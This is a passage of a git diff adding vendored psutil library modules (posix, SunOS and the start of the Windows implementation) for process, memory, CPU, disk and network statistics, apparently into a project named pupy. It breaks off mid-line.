_common.CONN_SYN_RECV, + cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1, + cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2, + cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT, + cext.TCPS_CLOSED: _common.CONN_CLOSE, + cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT, + cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK, + cext.TCPS_LISTEN: _common.CONN_LISTEN, + cext.TCPS_CLOSING: _common.CONN_CLOSING, + cext.PSUTIL_CONN_NONE: _common.CONN_NONE, +} + +PROC_STATUSES = { + cext.SIDL: _common.STATUS_IDLE, + cext.SRUN: _common.STATUS_RUNNING, + cext.SSLEEP: _common.STATUS_SLEEPING, + cext.SSTOP: _common.STATUS_STOPPED, + cext.SZOMB: _common.STATUS_ZOMBIE, +} + +scputimes = namedtuple('scputimes', ['user', 'nice', 'system', 'idle']) + +svmem = namedtuple( + 'svmem', ['total', 'available', 'percent', 'used', 'free', + 'active', 'inactive', 'wired']) + +pextmem = namedtuple('pextmem', ['rss', 'vms', 'pfaults', 'pageins']) + +pmmap_grouped = namedtuple( + 'pmmap_grouped', + 'path rss private swapped dirtied ref_count shadow_depth') + +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields)) + +# set later from __init__.py +NoSuchProcess = None +ZombieProcess = None +AccessDenied = None +TimeoutExpired = None + + +# --- functions + +def virtual_memory(): + """System virtual memory as a namedtuple.""" + total, active, inactive, wired, free = cext.virtual_mem() + avail = inactive + free + used = active + inactive + wired + percent = usage_percent((total - avail), total, _round=1) + return svmem(total, avail, percent, used, free, + active, inactive, wired) + + +def swap_memory(): + """Swap system memory as a (total, used, free, sin, sout) tuple.""" + total, used, free, sin, sout = cext.swap_mem() + percent = usage_percent(used, total, _round=1) + return _common.sswap(total, used, free, percent, sin, sout) + + +def cpu_times(): + """Return system CPU times as a namedtuple.""" + user, nice, system, idle = cext.cpu_times() + return scputimes(user, nice, system, idle) + + +def per_cpu_times(): + """Return system CPU times as a named tuple""" + ret = [] + for cpu_t in cext.per_cpu_times(): + user, nice, system, idle = cpu_t + item = scputimes(user, nice, system, idle) + ret.append(item) + return ret + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + return cext.cpu_count_logical() + + +def cpu_count_physical(): + """Return the number of physical CPUs in the system.""" + return cext.cpu_count_phys() + + +def boot_time(): + """The system boot time expressed in seconds since the epoch.""" + return cext.boot_time() + + +def disk_partitions(all=False): + retlist = [] + partitions = cext.disk_partitions() + for partition in partitions: + device, mountpoint, fstype, opts = partition + if device == 'none': + device = '' + if not all: + if not os.path.isabs(device) or not os.path.exists(device): + continue + ntuple = _common.sdiskpart(device, mountpoint, fstype, opts) + retlist.append(ntuple) + return retlist + + +def users(): + retlist = [] + rawlist = cext.users() + for item in rawlist: + user, tty, hostname, tstamp = item + if tty == '~': + continue # reboot or shutdown + if not tstamp: + continue + nt = _common.suser(user, tty or None, hostname or None, tstamp) + retlist.append(nt) + return retlist + + +def net_connections(kind='inet'): + # Note: on OSX this will fail with AccessDenied unless + # the process is owned by root. + ret = [] + for pid in pids(): + try: + cons = Process(pid).connections(kind) + except NoSuchProcess: + continue + else: + if cons: + for c in cons: + c = list(c) + [pid] + ret.append(_common.sconn(*c)) + return ret + + +def net_if_stats(): + """Get NIC stats (isup, duplex, speed, mtu).""" + names = net_io_counters().keys() + ret = {} + for name in names: + isup, duplex, speed, mtu = cext_posix.net_if_stats(name) + if hasattr(_common, 'NicDuplex'): + duplex = _common.NicDuplex(duplex) + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +pids = cext.pids +pid_exists = _psposix.pid_exists +disk_usage = _psposix.disk_usage +net_io_counters = cext.net_io_counters +disk_io_counters = cext.disk_io_counters +net_if_addrs = cext_posix.net_if_addrs + + +def wrap_exceptions(fun): + """Decorator which translates bare OSError exceptions into + NoSuchProcess and AccessDenied. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except OSError as err: + # support for private module import + if (NoSuchProcess is None or AccessDenied is None or + ZombieProcess is None): + raise + if err.errno == errno.ESRCH: + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + return wrapper + + +class Process(object): + """Wrapper class around underlying C implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + return cext.proc_name(self.pid) + + @wrap_exceptions + def exe(self): + return cext.proc_exe(self.pid) + + @wrap_exceptions + def cmdline(self): + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + return cext.proc_cmdline(self.pid) + + @wrap_exceptions + def ppid(self): + return cext.proc_ppid(self.pid) + + @wrap_exceptions + def cwd(self): + return cext.proc_cwd(self.pid) + + @wrap_exceptions + def uids(self): + real, effective, saved = cext.proc_uids(self.pid) + return _common.puids(real, effective, saved) + + @wrap_exceptions + def gids(self): + real, effective, saved = cext.proc_gids(self.pid) + return _common.pgids(real, effective, saved) + + @wrap_exceptions + def terminal(self): + tty_nr = cext.proc_tty_nr(self.pid) + tmap = _psposix._get_terminal_map() + try: + return tmap[tty_nr] + except KeyError: + return None + + @wrap_exceptions + def memory_info(self): + rss, vms = cext.proc_memory_info(self.pid)[:2] + return _common.pmem(rss, vms) + + @wrap_exceptions + def memory_info_ex(self): + rss, vms, pfaults, pageins = cext.proc_memory_info(self.pid) + return pextmem(rss, vms, pfaults * PAGESIZE, pageins * PAGESIZE) + + @wrap_exceptions + def cpu_times(self): + user, system = cext.proc_cpu_times(self.pid) + return _common.pcputimes(user, system) + + @wrap_exceptions + def create_time(self): + return cext.proc_create_time(self.pid) + + @wrap_exceptions + def num_ctx_switches(self): + return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid)) + + @wrap_exceptions + def num_threads(self): + return cext.proc_num_threads(self.pid) + + @wrap_exceptions + def open_files(self): + if self.pid == 0: + return [] + files = [] + rawlist = cext.proc_open_files(self.pid) + for path, fd in rawlist: + if isfile_strict(path): + ntuple = _common.popenfile(path, fd) + files.append(ntuple) + return files + + @wrap_exceptions + def connections(self, kind='inet'): + if kind not in conn_tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in conn_tmap]))) + families, types = conn_tmap[kind] + rawlist = cext.proc_connections(self.pid, families, types) + ret = [] + for item in rawlist: + fd, fam, type, laddr, raddr, status = item + status = TCP_STATUSES[status] + fam = sockfam_to_enum(fam) + type = socktype_to_enum(type) + nt = _common.pconn(fd, fam, type, laddr, raddr, status) + ret.append(nt) + return ret + + @wrap_exceptions + def num_fds(self): + if self.pid == 0: + return 0 + return cext.proc_num_fds(self.pid) + + @wrap_exceptions + def wait(self, timeout=None): + try: + return _psposix.wait_pid(self.pid, timeout) + except _psposix.TimeoutExpired: + # support for private module import + if TimeoutExpired is None: + raise + raise TimeoutExpired(timeout, self.pid, self._name) + + @wrap_exceptions + def nice_get(self): + return cext_posix.getpriority(self.pid) + + @wrap_exceptions + def nice_set(self, value): + return cext_posix.setpriority(self.pid, value) + + @wrap_exceptions + def status(self): + code = cext.proc_status(self.pid) + # XXX is '?' legit? (we're not supposed to return it anyway) + return PROC_STATUSES.get(code, '?') + + @wrap_exceptions + def threads(self): + rawlist = cext.proc_threads(self.pid) + retlist = [] + for thread_id, utime, stime in rawlist: + ntuple = _common.pthread(thread_id, utime, stime) + retlist.append(ntuple) + return retlist + + @wrap_exceptions + def memory_maps(self): + return cext.proc_memory_maps(self.pid) diff --git a/pupy/packages/windows/amd64/psutil/_psposix.py b/pupy/packages/windows/amd64/psutil/_psposix.py new file mode 100644 index 00000000..5bb16a38 --- /dev/null +++ b/pupy/packages/windows/amd64/psutil/_psposix.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Routines common to all posix systems.""" + +import errno +import glob +import os +import sys +import time + +from ._common import sdiskusage, usage_percent, memoize +from ._compat import PY3, unicode + + +class TimeoutExpired(Exception): + pass + + +def pid_exists(pid): + """Check whether pid exists in the current process table.""" + if pid == 0: + # According to "man 2 kill" PID 0 has a special meaning: + # it refers to <> so we don't want to go any further. + # If we get here it means this UNIX platform *does* have + # a process with id 0. + return True + try: + os.kill(pid, 0) + except OSError as err: + if err.errno == errno.ESRCH: + # ESRCH == No such process + return False + elif err.errno == errno.EPERM: + # EPERM clearly means there's a process to deny access to + return True + else: + # According to "man 2 kill" possible error values are + # (EINVAL, EPERM, ESRCH) therefore we should never get + # here. If we do let's be explicit in considering this + # an error. + raise err + else: + return True + + +def wait_pid(pid, timeout=None): + """Wait for process with pid 'pid' to terminate and return its + exit status code as an integer. + + If pid is not a children of os.getpid() (current process) just + waits until the process disappears and return None. + + If pid does not exist at all return None immediately. + + Raise TimeoutExpired on timeout expired. + """ + def check_timeout(delay): + if timeout is not None: + if timer() >= stop_at: + raise TimeoutExpired() + time.sleep(delay) + return min(delay * 2, 0.04) + + timer = getattr(time, 'monotonic', time.time) + if timeout is not None: + def waitcall(): + return os.waitpid(pid, os.WNOHANG) + stop_at = timer() + timeout + else: + def waitcall(): + return os.waitpid(pid, 0) + + delay = 0.0001 + while True: + try: + retpid, status = waitcall() + except OSError as err: + if err.errno == errno.EINTR: + delay = check_timeout(delay) + continue + elif err.errno == errno.ECHILD: + # This has two meanings: + # - pid is not a child of os.getpid() in which case + # we keep polling until it's gone + # - pid never existed in the first place + # In both cases we'll eventually return None as we + # can't determine its exit status code. + while True: + if pid_exists(pid): + delay = check_timeout(delay) + else: + return + else: + raise + else: + if retpid == 0: + # WNOHANG was used, pid is still running + delay = check_timeout(delay) + continue + # process exited due to a signal; return the integer of + # that signal + if os.WIFSIGNALED(status): + return os.WTERMSIG(status) + # process exited using exit(2) system call; return the + # integer exit(2) system call has been called with + elif os.WIFEXITED(status): + return os.WEXITSTATUS(status) + else: + # should never happen + raise RuntimeError("unknown process exit status") + + +def disk_usage(path): + """Return disk usage associated with path.""" + try: + st = os.statvfs(path) + except UnicodeEncodeError: + if not PY3 and isinstance(path, unicode): + # this is a bug with os.statvfs() and unicode on + # Python 2, see: + # - https://github.com/giampaolo/psutil/issues/416 + # - http://bugs.python.org/issue18695 + try: + path = path.encode(sys.getfilesystemencoding()) + except UnicodeEncodeError: + pass + st = os.statvfs(path) + else: + raise + free = (st.f_bavail * st.f_frsize) + total = (st.f_blocks * st.f_frsize) + used = (st.f_blocks - st.f_bfree) * st.f_frsize + percent = usage_percent(used, total, _round=1) + # NB: the percentage is -5% than what shown by df due to + # reserved blocks that we are currently not considering: + # http://goo.gl/sWGbH + return sdiskusage(total, used, free, percent) + + +@memoize +def _get_terminal_map(): + ret = {} + ls = glob.glob('/dev/tty*') + glob.glob('/dev/pts/*') + for name in ls: + assert name not in ret + try: + ret[os.stat(name).st_rdev] = name + except OSError as err: + if err.errno != errno.ENOENT: + raise + return ret diff --git a/pupy/packages/windows/amd64/psutil/_pssunos.py b/pupy/packages/windows/amd64/psutil/_pssunos.py new file mode 100644 index 00000000..bc35a718 --- /dev/null +++ b/pupy/packages/windows/amd64/psutil/_pssunos.py @@ -0,0 +1,553 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Sun OS Solaris platform implementation.""" + +import errno +import os +import socket +import subprocess +import sys +from collections import namedtuple + +from . import _common +from . import _psposix +from . import _psutil_posix as cext_posix +from . import _psutil_sunos as cext +from ._common import isfile_strict, socktype_to_enum, sockfam_to_enum +from ._common import usage_percent +from ._compat import PY3 + + +__extra__all__ = ["CONN_IDLE", "CONN_BOUND"] + +PAGE_SIZE = os.sysconf('SC_PAGE_SIZE') +AF_LINK = cext_posix.AF_LINK + +CONN_IDLE = "IDLE" +CONN_BOUND = "BOUND" + +PROC_STATUSES = { + cext.SSLEEP: _common.STATUS_SLEEPING, + cext.SRUN: _common.STATUS_RUNNING, + cext.SZOMB: _common.STATUS_ZOMBIE, + cext.SSTOP: _common.STATUS_STOPPED, + cext.SIDL: _common.STATUS_IDLE, + cext.SONPROC: _common.STATUS_RUNNING, # same as run + cext.SWAIT: _common.STATUS_WAITING, +} + +TCP_STATUSES = { + cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED, + cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT, + cext.TCPS_SYN_RCVD: _common.CONN_SYN_RECV, + cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1, + cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2, + cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT, + cext.TCPS_CLOSED: _common.CONN_CLOSE, + cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT, + cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK, + cext.TCPS_LISTEN: _common.CONN_LISTEN, + cext.TCPS_CLOSING: _common.CONN_CLOSING, + cext.PSUTIL_CONN_NONE: _common.CONN_NONE, + cext.TCPS_IDLE: CONN_IDLE, # sunos specific + cext.TCPS_BOUND: CONN_BOUND, # sunos specific +} + +scputimes = namedtuple('scputimes', ['user', 'system', 'idle', 'iowait']) +svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free']) +pextmem = namedtuple('pextmem', ['rss', 'vms']) +pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss', 'anon', 'locked']) +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields)) + +# set later from __init__.py +NoSuchProcess = None +ZombieProcess = None +AccessDenied = None +TimeoutExpired = None + +# --- functions + +disk_io_counters = cext.disk_io_counters +net_io_counters = cext.net_io_counters +disk_usage = _psposix.disk_usage +net_if_addrs = cext_posix.net_if_addrs + + +def virtual_memory(): + # we could have done this with kstat, but imho this is good enough + total = os.sysconf('SC_PHYS_PAGES') * PAGE_SIZE + # note: there's no difference on Solaris + free = avail = os.sysconf('SC_AVPHYS_PAGES') * PAGE_SIZE + used = total - free + percent = usage_percent(used, total, _round=1) + return svmem(total, avail, percent, used, free) + + +def swap_memory(): + sin, sout = cext.swap_mem() + # XXX + # we are supposed to get total/free by doing so: + # http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/ + # usr/src/cmd/swap/swap.c + # ...nevertheless I can't manage to obtain the same numbers as 'swap' + # cmdline utility, so let's parse its output (sigh!) + p = subprocess.Popen(['/usr/bin/env', 'PATH=/usr/sbin:/sbin:%s' % + os.environ['PATH'], 'swap', '-l', '-k'], + stdout=subprocess.PIPE) + stdout, stderr = p.communicate() + if PY3: + stdout = stdout.decode(sys.stdout.encoding) + if p.returncode != 0: + raise RuntimeError("'swap -l -k' failed (retcode=%s)" % p.returncode) + + lines = stdout.strip().split('\n')[1:] + if not lines: + raise RuntimeError('no swap device(s) configured') + total = free = 0 + for line in lines: + line = line.split() + t, f = line[-2:] + t = t.replace('K', '') + f = f.replace('K', '') + total += int(int(t) * 1024) + free += int(int(f) * 1024) + used = total - free + percent = usage_percent(used, total, _round=1) + return _common.sswap(total, used, free, percent, + sin * PAGE_SIZE, sout * PAGE_SIZE) + + +def pids(): + """Returns a list of PIDs currently running on the system.""" + return [int(x) for x in os.listdir('/proc') if x.isdigit()] + + +def pid_exists(pid): + """Check for the existence of a unix pid.""" + return _psposix.pid_exists(pid) + + +def cpu_times(): + """Return system-wide CPU times as a named tuple""" + ret = cext.per_cpu_times() + return scputimes(*[sum(x) for x in zip(*ret)]) + + +def per_cpu_times(): + """Return system per-CPU times as a list of named tuples""" + ret = cext.per_cpu_times() + return [scputimes(*x) for x in ret] + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + try: + return os.sysconf("SC_NPROCESSORS_ONLN") + except ValueError: + # mimic os.cpu_count() behavior + return None + + +def cpu_count_physical(): + """Return the number of physical CPUs in the system.""" + return cext.cpu_count_phys() + + +def boot_time(): + """The system boot time expressed in seconds since the epoch.""" + return cext.boot_time() + + +def users(): + """Return currently connected users as a list of namedtuples.""" + retlist = [] + rawlist = cext.users() + localhost = (':0.0', ':0') + for item in rawlist: + user, tty, hostname, tstamp, user_process = item + # note: the underlying C function includes entries about + # system boot, run level and others. We might want + # to use them in the future. + if not user_process: + continue + if hostname in localhost: + hostname = 'localhost' + nt = _common.suser(user, tty, hostname, tstamp) + retlist.append(nt) + return retlist + + +def disk_partitions(all=False): + """Return system disk partitions.""" + # TODO - the filtering logic should be better checked so that + # it tries to reflect 'df' as much as possible + retlist = [] + partitions = cext.disk_partitions() + for partition in partitions: + device, mountpoint, fstype, opts = partition + if device == 'none': + device = '' + if not all: + # Differently from, say, Linux, we don't have a list of + # common fs types so the best we can do, AFAIK, is to + # filter by filesystem having a total size > 0. + if not disk_usage(mountpoint).total: + continue + ntuple = _common.sdiskpart(device, mountpoint, fstype, opts) + retlist.append(ntuple) + return retlist + + +def net_connections(kind, _pid=-1): + """Return socket connections. If pid == -1 return system-wide + connections (as opposed to connections opened by one process only). + Only INET sockets are returned (UNIX are not). + """ + cmap = _common.conn_tmap.copy() + if _pid == -1: + cmap.pop('unix', 0) + if kind not in cmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in cmap]))) + families, types = _common.conn_tmap[kind] + rawlist = cext.net_connections(_pid, families, types) + ret = set() + for item in rawlist: + fd, fam, type_, laddr, raddr, status, pid = item + if fam not in families: + continue + if type_ not in types: + continue + status = TCP_STATUSES[status] + fam = sockfam_to_enum(fam) + type_ = socktype_to_enum(type_) + if _pid == -1: + nt = _common.sconn(fd, fam, type_, laddr, raddr, status, pid) + else: + nt = _common.pconn(fd, fam, type_, laddr, raddr, status) + ret.add(nt) + return list(ret) + + +def net_if_stats(): + """Get NIC stats (isup, duplex, speed, mtu).""" + ret = cext.net_if_stats() + for name, items in ret.items(): + isup, duplex, speed, mtu = items + if hasattr(_common, 'NicDuplex'): + duplex = _common.NicDuplex(duplex) + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +def wrap_exceptions(fun): + """Call callable into a try/except clause and translate ENOENT, + EACCES and EPERM in NoSuchProcess or AccessDenied exceptions. + """ + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except EnvironmentError as err: + # support for private module import + if (NoSuchProcess is None or AccessDenied is None or + ZombieProcess is None): + raise + # ENOENT (no such file or directory) gets raised on open(). + # ESRCH (no such process) can get raised on read() if + # process is gone in meantime. + if err.errno in (errno.ENOENT, errno.ESRCH): + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + return wrapper + + +class Process(object): + """Wrapper class around underlying C implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + # note: max len == 15 + return cext.proc_name_and_args(self.pid)[0] + + @wrap_exceptions + def exe(self): + # Will be guess later from cmdline but we want to explicitly + # invoke cmdline here in order to get an AccessDenied + # exception if the user has not enough privileges. + self.cmdline() + return "" + + @wrap_exceptions + def cmdline(self): + return cext.proc_name_and_args(self.pid)[1].split(' ') + + @wrap_exceptions + def create_time(self): + return cext.proc_basic_info(self.pid)[3] + + @wrap_exceptions + def num_threads(self): + return cext.proc_basic_info(self.pid)[5] + + @wrap_exceptions + def nice_get(self): + # For some reason getpriority(3) return ESRCH (no such process) + # for certain low-pid processes, no matter what (even as root). + # The process actually exists though, as it has a name, + # creation time, etc. + # The best thing we can do here appears to be raising AD. + # Note: tested on Solaris 11; on Open Solaris 5 everything is + # fine. + try: + return cext_posix.getpriority(self.pid) + except EnvironmentError as err: + # 48 is 'operation not supported' but errno does not expose + # it. It occurs for low system pids. + if err.errno in (errno.ENOENT, errno.ESRCH, 48): + if pid_exists(self.pid): + raise AccessDenied(self.pid, self._name) + raise + + @wrap_exceptions + def nice_set(self, value): + if self.pid in (2, 3): + # Special case PIDs: internally setpriority(3) return ESRCH + # (no such process), no matter what. + # The process actually exists though, as it has a name, + # creation time, etc. + raise AccessDenied(self.pid, self._name) + return cext_posix.setpriority(self.pid, value) + + @wrap_exceptions + def ppid(self): + return cext.proc_basic_info(self.pid)[0] + + @wrap_exceptions + def uids(self): + real, effective, saved, _, _, _ = cext.proc_cred(self.pid) + return _common.puids(real, effective, saved) + + @wrap_exceptions + def gids(self): + _, _, _, real, effective, saved = cext.proc_cred(self.pid) + return _common.puids(real, effective, saved) + + @wrap_exceptions + def cpu_times(self): + user, system = cext.proc_cpu_times(self.pid) + return _common.pcputimes(user, system) + + @wrap_exceptions + def terminal(self): + hit_enoent = False + tty = wrap_exceptions( + cext.proc_basic_info(self.pid)[0]) + if tty != cext.PRNODEV: + for x in (0, 1, 2, 255): + try: + return os.readlink('/proc/%d/path/%d' % (self.pid, x)) + except OSError as err: + if err.errno == errno.ENOENT: + hit_enoent = True + continue + raise + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + + @wrap_exceptions + def cwd(self): + # /proc/PID/path/cwd may not be resolved by readlink() even if + # it exists (ls shows it). If that's the case and the process + # is still alive return None (we can return None also on BSD). + # Reference: http://goo.gl/55XgO + try: + return os.readlink("/proc/%s/path/cwd" % self.pid) + except OSError as err: + if err.errno == errno.ENOENT: + os.stat("/proc/%s" % self.pid) + return None + raise + + @wrap_exceptions + def memory_info(self): + ret = cext.proc_basic_info(self.pid) + rss, vms = ret[1] * 1024, ret[2] * 1024 + return _common.pmem(rss, vms) + + # it seems Solaris uses rss and vms only + memory_info_ex = memory_info + + @wrap_exceptions + def status(self): + code = cext.proc_basic_info(self.pid)[6] + # XXX is '?' legit? (we're not supposed to return it anyway) + return PROC_STATUSES.get(code, '?') + + @wrap_exceptions + def threads(self): + ret = [] + tids = os.listdir('/proc/%d/lwp' % self.pid) + hit_enoent = False + for tid in tids: + tid = int(tid) + try: + utime, stime = cext.query_process_thread( + self.pid, tid) + except EnvironmentError as err: + # ENOENT == thread gone in meantime + if err.errno == errno.ENOENT: + hit_enoent = True + continue + raise + else: + nt = _common.pthread(tid, utime, stime) + ret.append(nt) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return ret + + @wrap_exceptions + def open_files(self): + retlist = [] + hit_enoent = False + pathdir = '/proc/%d/path' % self.pid + for fd in os.listdir('/proc/%d/fd' % self.pid): + path = os.path.join(pathdir, fd) + if os.path.islink(path): + try: + file = os.readlink(path) + except OSError as err: + # ENOENT == file which is gone in the meantime + if err.errno == errno.ENOENT: + hit_enoent = True + continue + raise + else: + if isfile_strict(file): + retlist.append(_common.popenfile(file, int(fd))) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return retlist + + def _get_unix_sockets(self, pid): + """Get UNIX sockets used by process by parsing 'pfiles' output.""" + # TODO: rewrite this in C (...but the damn netstat source code + # does not include this part! Argh!!) + cmd = "pfiles %s" % pid + p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, + stderr=subprocess.PIPE) + stdout, stderr = p.communicate() + if PY3: + stdout, stderr = [x.decode(sys.stdout.encoding) + for x in (stdout, stderr)] + if p.returncode != 0: + if 'permission denied' in stderr.lower(): + raise AccessDenied(self.pid, self._name) + if 'no such process' in stderr.lower(): + raise NoSuchProcess(self.pid, self._name) + raise RuntimeError("%r command error\n%s" % (cmd, stderr)) + + lines = stdout.split('\n')[2:] + for i, line in enumerate(lines): + line = line.lstrip() + if line.startswith('sockname: AF_UNIX'): + path = line.split(' ', 2)[2] + type = lines[i - 2].strip() + if type == 'SOCK_STREAM': + type = socket.SOCK_STREAM + elif type == 'SOCK_DGRAM': + type = socket.SOCK_DGRAM + else: + type = -1 + yield (-1, socket.AF_UNIX, type, path, "", _common.CONN_NONE) + + @wrap_exceptions + def connections(self, kind='inet'): + ret = net_connections(kind, _pid=self.pid) + # The underlying C implementation retrieves all OS connections + # and filters them by PID. At this point we can't tell whether + # an empty list means there were no connections for process or + # process is no longer active so we force NSP in case the PID + # is no longer there. + if not ret: + os.stat('/proc/%s' % self.pid) # will raise NSP if process is gone + + # UNIX sockets + if kind in ('all', 'unix'): + ret.extend([_common.pconn(*conn) for conn in + self._get_unix_sockets(self.pid)]) + return ret + + nt_mmap_grouped = namedtuple('mmap', 'path rss anon locked') + nt_mmap_ext = namedtuple('mmap', 'addr perms path rss anon locked') + + @wrap_exceptions + def memory_maps(self): + def toaddr(start, end): + return '%s-%s' % (hex(start)[2:].strip('L'), + hex(end)[2:].strip('L')) + + retlist = [] + rawlist = cext.proc_memory_maps(self.pid) + hit_enoent = False + for item in rawlist: + addr, addrsize, perm, name, rss, anon, locked = item + addr = toaddr(addr, addrsize) + if not name.startswith('['): + try: + name = os.readlink('/proc/%s/path/%s' % (self.pid, name)) + except OSError as err: + if err.errno == errno.ENOENT: + # sometimes the link may not be resolved by + # readlink() even if it exists (ls shows it). + # If that's the case we just return the + # unresolved link path. + # This seems an incosistency with /proc similar + # to: http://goo.gl/55XgO + name = '/proc/%s/path/%s' % (self.pid, name) + hit_enoent = True + else: + raise + retlist.append((addr, perm, name, rss, anon, locked)) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return retlist + + @wrap_exceptions + def num_fds(self): + return len(os.listdir("/proc/%s/fd" % self.pid)) + + @wrap_exceptions + def num_ctx_switches(self): + return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid)) + + @wrap_exceptions + def wait(self, timeout=None): + try: + return _psposix.wait_pid(self.pid, timeout) + except _psposix.TimeoutExpired: + # support for private module import + if TimeoutExpired is None: + raise + raise TimeoutExpired(timeout, self.pid, self._name) diff --git a/pupy/packages/windows/amd64/psutil/_pswindows.py b/pupy/packages/windows/amd64/psutil/_pswindows.py new file mode 100644 index 00000000..30b4d9fa --- /dev/null +++ b/pupy/packages/windows/amd64/psutil/_pswindows.py @@ -0,0 +1,584 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Windows platform implementation.""" + +import errno +import functools +import os +import sys +from collections import namedtuple + +from . import _common +from . import _psutil_windows as cext +from ._common import conn_tmap, usage_percent, isfile_strict +from ._common import sockfam_to_enum, socktype_to_enum +from ._compat import PY3, xrange, lru_cache, long +from ._psutil_windows import (ABOVE_NORMAL_PRIORITY_CLASS, + BELOW_NORMAL_PRIORITY_CLASS, + HIGH_PRIORITY_CLASS, + IDLE_PRIORITY_CLASS, + NORMAL_PRIORITY_CLASS, + REALTIME_PRIORITY_CLASS) + +if sys.version_info >= (3, 4): + import enum +else: + enum = None + +# process priority constants, import from __init__.py: +# http://msdn.microsoft.com/en-us/library/ms686219(v=vs.85).aspx +__extra__all__ = ["ABOVE_NORMAL_PRIORITY_CLASS", "BELOW_NORMAL_PRIORITY_CLASS", + "HIGH_PRIORITY_CLASS", "IDLE_PRIORITY_CLASS", + "NORMAL_PRIORITY_CLASS", "REALTIME_PRIORITY_CLASS", + "CONN_DELETE_TCB", + "AF_LINK", + ] + +# --- module level constants (gets pushed up to psutil module) + +CONN_DELETE_TCB = "DELETE_TCB" +WAIT_TIMEOUT = 0x00000102 # 258 in decimal +ACCESS_DENIED_SET = frozenset([errno.EPERM, errno.EACCES, + cext.ERROR_ACCESS_DENIED]) +if enum is None: + AF_LINK = -1 +else: + AddressFamily = enum.IntEnum('AddressFamily', {'AF_LINK': -1}) + AF_LINK = AddressFamily.AF_LINK + +TCP_STATUSES = { + cext.MIB_TCP_STATE_ESTAB: _common.CONN_ESTABLISHED, + cext.MIB_TCP_STATE_SYN_SENT: _common.CONN_SYN_SENT, + cext.MIB_TCP_STATE_SYN_RCVD: _common.CONN_SYN_RECV, + cext.MIB_TCP_STATE_FIN_WAIT1: _common.CONN_FIN_WAIT1, + cext.MIB_TCP_STATE_FIN_WAIT2: _common.CONN_FIN_WAIT2, + cext.MIB_TCP_STATE_TIME_WAIT: _common.CONN_TIME_WAIT, + cext.MIB_TCP_STATE_CLOSED: _common.CONN_CLOSE, + cext.MIB_TCP_STATE_CLOSE_WAIT: _common.CONN_CLOSE_WAIT, + cext.MIB_TCP_STATE_LAST_ACK: _common.CONN_LAST_ACK, + cext.MIB_TCP_STATE_LISTEN: _common.CONN_LISTEN, + cext.MIB_TCP_STATE_CLOSING: _common.CONN_CLOSING, + cext.MIB_TCP_STATE_DELETE_TCB: CONN_DELETE_TCB, + cext.PSUTIL_CONN_NONE: _common.CONN_NONE, +} + +if enum is not None: + class Priority(enum.IntEnum): + ABOVE_NORMAL_PRIORITY_CLASS = ABOVE_NORMAL_PRIORITY_CLASS + BELOW_NORMAL_PRIORITY_CLASS = BELOW_NORMAL_PRIORITY_CLASS + HIGH_PRIORITY_CLASS = HIGH_PRIORITY_CLASS + IDLE_PRIORITY_CLASS = IDLE_PRIORITY_CLASS + NORMAL_PRIORITY_CLASS = NORMAL_PRIORITY_CLASS + REALTIME_PRIORITY_CLASS = REALTIME_PRIORITY_CLASS + + globals().update(Priority.__members__) + +scputimes = namedtuple('scputimes', ['user', 'system', 'idle']) +svmem = 